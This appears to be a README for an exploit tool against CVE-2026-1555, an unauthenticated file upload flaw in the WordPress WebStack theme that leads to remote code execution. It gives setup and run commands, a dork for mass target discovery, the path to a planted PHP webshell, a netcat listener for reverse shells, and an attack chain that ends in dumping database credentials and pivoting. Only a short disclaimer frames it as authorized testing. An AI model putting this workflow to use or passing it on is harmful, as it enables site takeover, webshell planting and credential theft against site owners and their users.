Target Surface  →  WordPress sites running WebStack theme
Vuln Type       →  Unauthenticated Arbitrary File Upload → RCE
CVSS Score      →  9.8 (Critical)
Auth Required   →  None
Payload         →  ms.php (Multi-feature PHP Webshell)

CVE-2026-1555-Linux/
│
├── CVE-2026-1555.py          # Main exploit tool (PyQt5 GUI)
├── ms.php                    # PHP webshell payload
├── Dork.txt                  # Fofa/Shodan dork for target discovery
├── requirements.txt          # Python dependencies
└── README.md                 # You are here

git clone https://github.com/YOUR_USERNAME/CVE-2026-1555-Linux.git
cd CVE-2026-1555-Linux

python3 -m venv venv
source venv/bin/activate

pip install -r requirements.txt

python3 CVE-2026-1555.py

https://target.com/wp-content/themes/WebStack/ms.php

nc -lvnp 4444

body="wp-content/themes/WebStack"

[1] Discover target via dork scan
        ↓
[2] Confirm WebStack theme installation
        ↓
[3] Trigger vulnerable upload endpoint (no auth required)
        ↓
[4] Upload ms.php payload to webroot
        ↓
[5] Access webshell → achieve RCE
        ↓
[6] Escalate: dump DB creds, pivot, revshell

export DISPLAY=:0
# or use Xvfb
sudo apt install xvfb -y
Xvfb :0 -screen 0 1024x768x24 &
export DISPLAY=:0
python3 CVE-2026-1555.py

sudo apt install python3-pyqt5 python3-pyqt5.qtwebengine -y

chmod +x CVE-2026-1555.py
python3 CVE-2026-1555.py

pip install --upgrade requests urllib3 certifi

git clone https://github.com/YOUR_USERNAME/CVE-2026-1555-Linux.git && \
cd CVE-2026-1555-Linux && \
python3 -m venv venv && source venv/bin/activate && \
pip install -r requirements.txt -q && \
python3 CVE-2026-1555.py

This tool is intended for authorized security research and penetration testing 
only. The authors are not responsible for any misuse or damage caused by this 
program. Only use against systems you own or have explicit written permission 
to test. Unauthorized use is illegal.